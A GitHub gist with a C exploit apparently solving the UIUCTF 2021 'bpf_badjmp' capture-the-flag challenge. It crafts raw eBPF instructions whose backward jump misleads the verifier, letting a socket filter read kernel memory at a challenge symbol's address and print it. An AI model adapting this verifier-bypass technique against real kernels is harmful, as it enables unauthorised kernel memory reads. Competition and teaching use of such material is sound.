Created
August 2, 2021 10:15
-
-
Save d4em0n/c1e025689f84122d6533f8cac4bfaff4 to your computer and use it in GitHub Desktop.
UIUCTF 2021: bpf_badjmp solutions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Running with: ./exploit $(cat /proc/kallsyms | grep uiuctf | awk '{print $1}') | |
#define _GNU_SOURCE | |
#include <sched.h> | |
#include <stdio.h> | |
#include <fcntl.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <sys/ioctl.h> | |
#include <errno.h> | |
#include <pthread.h> | |
#include <sys/wait.h> | |
#include <linux/bpf.h> | |
#include <sys/mman.h> | |
#include <string.h> | |
#include <stdint.h> | |
#include <stdarg.h> | |
#include <sys/socket.h> | |
#include <linux/if_ether.h> | |
#include <linux/ip.h> | |
#include <stddef.h> | |
#include <sys/stat.h> | |
#ifndef __NR_BPF | |
#define __NR_BPF 321 | |
#endif | |
#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr)) | |
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ | |
((struct bpf_insn){ \ | |
.code = CODE, \ | |
.dst_reg = DST, \ | |
.src_reg = SRC, \ | |
.off = OFF, \ | |
.imm = IMM}) | |
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ | |
((struct bpf_insn){ \ | |
.code = BPF_LD | BPF_DW | BPF_IMM, \ | |
.dst_reg = DST, \ | |
.src_reg = SRC, \ | |
.off = 0, \ | |
.imm = (__u32)(IMM)}), \ | |
((struct bpf_insn){ \ | |
.code = 0, \ | |
.dst_reg = 0, \ | |
.src_reg = 0, \ | |
.off = 0, \ | |
.imm = ((__u64)(IMM)) >> 32}) | |
#define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM) | |
#define BPF_MOV_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_X, DST, SRC, 0, 0) | |
#define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0) | |
#define BPF_MOV_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_K, DST, 0, 0, IMM) | |
#define BPF_RSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_RSH | BPF_X, DST, SRC, 0, 0) | |
#define BPF_LSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_LSH | BPF_K, DST, 0, 0, IMM) | |
#define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM) | |
#define BPF_ALU64_REG(OP, DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0) | |
#define BPF_ALU_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM) | |
#define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM) | |
#define BPF_JMP_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0) | |
#define BPF_JMP32_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0) | |
#define BPF_JMP32_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM) | |
#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0) | |
#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) | |
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM) | |
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM) | |
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0) | |
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0) | |
int doredact = 0; | |
#define LOG_BUF_SIZE 65536 | |
char bpf_log_buf[LOG_BUF_SIZE]; | |
char buffer[64]; | |
int sockets[2]; | |
int sockets2[2]; | |
int mapfd; | |
int _mapfd[0x1000]; | |
size_t _offset = 0; | |
void fail(const char *fmt, ...) | |
{ | |
va_list args; | |
va_start(args, fmt); | |
fprintf(stdout, "[!] "); | |
vfprintf(stdout, fmt, args); | |
va_end(args); | |
exit(1); | |
} | |
void msg(const char *fmt, ...) | |
{ | |
va_list args; | |
va_start(args, fmt); | |
fprintf(stdout, "[*] "); | |
vfprintf(stdout, fmt, args); | |
va_end(args); | |
} | |
int bpf_create_map(enum bpf_map_type map_type, | |
unsigned int key_size, | |
unsigned int value_size, | |
unsigned int max_entries, | |
unsigned int map_fd) | |
{ | |
union bpf_attr attr = { | |
.map_type = map_type, | |
.key_size = key_size, | |
.value_size = value_size, | |
.max_entries = max_entries, | |
.inner_map_fd = map_fd}; | |
return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr)); | |
} | |
int bpf_create_map_node(enum bpf_map_type map_type, | |
unsigned int key_size, | |
unsigned int value_size, | |
unsigned int max_entries, | |
unsigned int map_fd, | |
unsigned int node) | |
{ | |
union bpf_attr attr = { | |
.map_type = map_type, | |
.key_size = key_size, | |
.value_size = value_size, | |
.max_entries = max_entries, | |
.inner_map_fd = map_fd, | |
.numa_node = node, | |
.map_flags = BPF_F_NUMA_NODE | |
}; | |
return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr)); | |
} | |
int bpf_obj_get_info_by_fd(int fd, const unsigned int info_len, void *info) | |
{ | |
union bpf_attr attr; | |
memset(&attr, 0, sizeof(attr)); | |
attr.info.bpf_fd = fd; | |
attr.info.info_len = info_len; | |
attr.info.info = ptr_to_u64(info); | |
return syscall(__NR_BPF, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr)); | |
} | |
int bpf_lookup_elem(int fd, const void *key, void *value) | |
{ | |
union bpf_attr attr = { | |
.map_fd = fd, | |
.key = ptr_to_u64(key), | |
.value = ptr_to_u64(value), | |
}; | |
return syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); | |
} | |
int bpf_update_elem(int fd, const void *key, const void *value, | |
uint64_t flags) | |
{ | |
union bpf_attr attr = { | |
.map_fd = fd, | |
.key = ptr_to_u64(key), | |
.value = ptr_to_u64(value), | |
.flags = flags, | |
}; | |
return syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); | |
} | |
int bpf_prog_load(enum bpf_prog_type type, | |
const struct bpf_insn *insns, int insn_cnt, | |
const char *license) | |
{ | |
union bpf_attr attr = { | |
.prog_type = type, | |
.insns = ptr_to_u64(insns), | |
.insn_cnt = insn_cnt, | |
.license = ptr_to_u64(license), | |
.log_buf = ptr_to_u64(bpf_log_buf), | |
.log_size = LOG_BUF_SIZE, | |
.log_level = 3, | |
}; | |
return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr)); | |
} | |
#define BPF_LD_ABS(SIZE, IMM) \ | |
((struct bpf_insn){ \ | |
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ | |
.dst_reg = 0, \ | |
.src_reg = 0, \ | |
.off = 0, \ | |
.imm = IMM}) | |
#define BPF_MAP_GET(idx, dst) \ | |
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \ | |
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ | |
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ | |
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \ | |
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ | |
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ | |
BPF_EXIT_INSN(), \ | |
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \ | |
BPF_MOV64_IMM(BPF_REG_0, 0) | |
#define BPF_MAP_GET_ADDR(idx, dst) \ | |
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \ | |
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \ | |
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \ | |
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \ | |
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ | |
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ | |
BPF_EXIT_INSN(), \ | |
BPF_MOV64_REG((dst), BPF_REG_0), \ | |
BPF_MOV64_IMM(BPF_REG_0, 0) | |
/* | |
0xffa00000000b7ba8: 0x0000000400000bb4 0x0000000000007b1f | |
0xffa00000000b7bb8: 0x0000000000007b4f 0x0000000000000b87 | |
0xffa00000000b7bc8: 0x0000003f00000bc7 0x0000000000007b5f | |
0xffa00000000b7bd8: 0x000000000000b80f | |
*/ | |
int load_prog(uint64_t addr) | |
{ | |
struct bpf_insn prog[] = { | |
BPF_LD_MAP_FD(BPF_REG_9, _mapfd[0]), | |
BPF_MAP_GET(0, BPF_REG_7), | |
BPF_MAP_GET_ADDR(0, BPF_REG_8), | |
// prepare arg map | |
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), | |
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), | |
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), | |
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0), | |
//BPF_LD_IMM64_RAW(BPF_REG_0, 0, 0xffffffff81d58000), | |
BPF_LD_IMM64_RAW(BPF_REG_0, 0, addr), | |
BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, 25), // goto jmp1 | |
BPF_MOV64_IMM(BPF_REG_0, 0x0), | |
BPF_EXIT_INSN(), | |
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), // jmp2: | |
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), | |
BPF_EXIT_INSN(), | |
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7), | |
BPF_MOV64_REG(BPF_REG_7, BPF_REG_3), | |
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7), | |
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), /* ins0 | |
ins1 | |
ins2 | |
ins3 | |
ins4 | |
ins5 | |
ins6 | |
*/ | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x0), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x0), | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x8), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x8), | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0xc), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0xc), | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x10), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x10), | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x18), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x18), | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x20), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x20), | |
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x28), | |
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_6, 0x28), | |
BPF_MOV64_IMM(BPF_REG_0, 0x0), | |
BPF_EXIT_INSN(), | |
BPF_JMP_IMM(BPF_JLE, BPF_REG_7, 4, -24), // jmp1: goto jmp2 | |
BPF_MOV64_IMM(BPF_REG_0, 0), | |
BPF_EXIT_INSN(), | |
}; | |
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL"); | |
} | |
int write_msg(int fd) | |
{ | |
ssize_t n = write(fd, buffer, sizeof(buffer)); | |
if (n < 0) | |
{ | |
perror("write"); | |
return 1; | |
} | |
if (n != sizeof(buffer)) | |
{ | |
fprintf(stderr, "short write: %ld\n", n); | |
} | |
return 0; | |
} | |
void update_elem(int key, size_t val) | |
{ | |
if (bpf_update_elem(mapfd, &key, &val, 0)) { | |
fail("bpf_update_elem failed '%s'\n", strerror(errno)); | |
} | |
} | |
size_t get_elem(int fd, int key) | |
{ | |
size_t val; | |
if (bpf_lookup_elem(fd, &key, &val)) { | |
fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); | |
} | |
return val; | |
} | |
int main(int argc,char** argv) | |
{ | |
_mapfd[0] = bpf_create_map(BPF_MAP_TYPE_ARRAY,4,0x40,0x10,0); | |
_mapfd[1] = bpf_create_map(BPF_MAP_TYPE_ARRAY,4,0x40,0x10,0); | |
uint64_t result=0; | |
int key; | |
char buf[0x80] = {0}; | |
uint64_t addr = strtoul(argv[1], NULL, 16); | |
int progfd = load_prog(addr); | |
if (progfd < 0) | |
{ | |
if (errno == EACCES) | |
{ | |
msg("log:\n%s", bpf_log_buf); | |
} | |
printf("%s\n", bpf_log_buf); | |
fail("failed to load prog '%s'\n", strerror(errno)); | |
} | |
printf("loaded\n"); | |
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) | |
{ | |
fail("failed to create socket pair '%s'\n", strerror(errno)); | |
} | |
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) | |
{ | |
fail("setsockopt '%s'\n", strerror(errno)); | |
} | |
write_msg(sockets[0]); | |
printf("Done\n"); | |
key = 0; | |
bpf_lookup_elem(_mapfd[0], &key, &buf); | |
printf("res: %s\n", buf); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment